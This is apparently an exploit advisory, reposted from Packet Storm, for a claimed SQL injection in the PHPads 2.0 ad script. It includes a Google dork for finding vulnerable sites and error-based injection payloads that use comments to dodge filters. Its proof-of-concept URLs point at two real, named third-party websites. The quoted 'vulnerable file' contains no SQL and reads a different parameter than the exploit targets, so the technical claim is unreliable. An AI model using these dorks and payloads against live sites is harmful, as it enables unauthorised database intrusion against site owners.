PHPads 2.0 SQL Injection

PHPads version 2.0 based on Pixelledads version 1.0 suffers from a remote SQL injection vulnerability.


MD5 | ed156782c8d22bbaf7d1b4b95b26e341

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[+] Sql Injection on PHPads Version 2.0 based on Pixelledads 1.0 by Nile Flores

[+] Date: 05/05/2019

[+] Risk: High

[+] CWE Number : CWE-89

[+] Author: Felipe Andrian Peixoto

[+] Vendor Homepage: https://blondish.net/

[+] Software Demo : https://github.com/blondishnet/PHPads/blob/master/readme.txt

[+] Contact: [email protected]

[+] Tested on: Windows 7 and Gnu/Linux

[+] Dork: inurl:"click.php3?bannerID="" // use your brain ;)

[+] Exploit : 

        http://host/patch//click.php3?bannerID= [SQL Injection]

[+] Vulnerable File :

      <?php
    $bannerAdsPath = './ads.dat';
    require './ads.inc.php';
    ///////////////////////////////////////
    // Don't Edit Anything Below This Line!
    ///////////////////////////////////////
    for ($i = 0; $i < count($ads); $i++) {
      if(ereg('^' .$_GET['id']. '\|\|', $ads[$i])) {
        $data = explode('||', $ads[$i]);
      if ($_SERVER['REMOTE_ADDR'] != $bannerAds['blockip']) {
          $data[ PHPADS_ADELEMENT_CLICKTHRUS ]++;
      }
        $ads[$i] = join('||', $data);
        break;
      }
    }
    if (!$data[PHPADS_ADELEMENT_LINK_URI]) {
      die();
    }
    writeads();
    Header("Location: ". $data[PHPADS_ADELEMENT_LINK_URI]);
    exit;
    ?>

[+] PoC : 
 
   http://www.workplace.ca/phpads/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-
   http://www.guaratubaonline.com.br/phpAds/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-
   
[+] EOF

Source: packetstormsecurity.com
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